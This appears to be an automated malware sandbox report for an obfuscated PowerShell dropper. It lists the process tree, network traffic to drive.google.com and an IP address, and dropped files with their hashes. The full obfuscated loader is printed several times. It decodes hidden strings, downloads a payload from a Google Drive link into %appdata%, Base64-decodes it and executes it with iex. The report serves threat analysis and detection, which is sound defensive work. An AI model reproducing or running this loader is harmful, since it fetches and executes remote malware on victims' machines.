ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bardehval.Enz && echo t"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bardehval.Enz && echo t"

C:\Program Files (x86)\windows mail\wabmig.exe

"C:\Program Files (x86)\windows mail\wabmig.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 142.250.179.238:443 drive.google.com tcp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.187.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 238.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 225.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
GB 142.250.179.238:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.187.227:80 o.pki.goog tcp
GB 142.250.187.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 227.187.250.142.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 215.191.184.137.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp

Files

memory/4340-0-0x00007FF9FB6D3000-0x00007FF9FB6D5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3dxdotw4.hhl.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4340-2-0x00000261F2090000-0x00000261F20B2000-memory.dmp

memory/4340-11-0x00007FF9FB6D0000-0x00007FF9FC191000-memory.dmp

memory/4340-12-0x00007FF9FB6D0000-0x00007FF9FC191000-memory.dmp

memory/4340-15-0x00007FF9FB6D3000-0x00007FF9FB6D5000-memory.dmp

memory/4340-16-0x00007FF9FB6D0000-0x00007FF9FC191000-memory.dmp

memory/4340-17-0x00007FF9FB6D0000-0x00007FF9FC191000-memory.dmp

memory/5012-18-0x0000000004D00000-0x0000000004D36000-memory.dmp

memory/5012-19-0x0000000005430000-0x0000000005A58000-memory.dmp

memory/5012-20-0x0000000005A60000-0x0000000005A82000-memory.dmp

memory/5012-21-0x0000000005B00000-0x0000000005B66000-memory.dmp

memory/5012-22-0x0000000005B70000-0x0000000005BD6000-memory.dmp

memory/5012-32-0x0000000005C80000-0x0000000005FD4000-memory.dmp

memory/5012-33-0x00000000062C0000-0x00000000062DE000-memory.dmp

memory/5012-34-0x0000000006300000-0x000000000634C000-memory.dmp

memory/4340-35-0x00007FF9FB6D0000-0x00007FF9FC191000-memory.dmp

memory/5012-37-0x0000000006870000-0x000000000688A000-memory.dmp

memory/5012-36-0x0000000007910000-0x0000000007F8A000-memory.dmp

memory/5012-39-0x00000000074F0000-0x0000000007512000-memory.dmp

memory/5012-38-0x0000000007560000-0x00000000075F6000-memory.dmp

memory/5012-40-0x0000000008540000-0x0000000008AE4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Bardehval.Enz

MD5 e048f9895e60b14e68f76e0fcadd5d08
SHA1 5a0e7bbb4c32a5aab5d3b85ffd49b89b745e3c8a
SHA256 5db5b10985a7f39cc9fcfc42b352709355f3b83a724b9fa24b8806c9feb3b029
SHA512 5ef521cee99243aef2621caac9f0ae85357ee4ab84b80452dfe473d473e9a0e965717d5abd3445f73456104afbe76b6e819e666f77df4bb32b6cb7132ce069f0

memory/5012-42-0x0000000008AF0000-0x000000000E44F000-memory.dmp

memory/4340-43-0x00007FF9FB6D0000-0x00007FF9FC191000-memory.dmp

memory/4364-44-0x0000000001080000-0x00000000069DF000-memory.dmp

memory/4364-58-0x0000000000400000-0x00000000005E4000-memory.dmp

memory/4340-62-0x00007FF9FB6D0000-0x00007FF9FC191000-memory.dmp

memory/4364-59-0x0000000001080000-0x00000000069DF000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302416131-1437503476-2806442725-1000\0f5007522459c86e95ffcc62f32308f1_acd03e19-89e2-40d7-b0f4-25b8a05635ee

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302416131-1437503476-2806442725-1000\0f5007522459c86e95ffcc62f32308f1_acd03e19-89e2-40d7-b0f4-25b8a05635ee

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b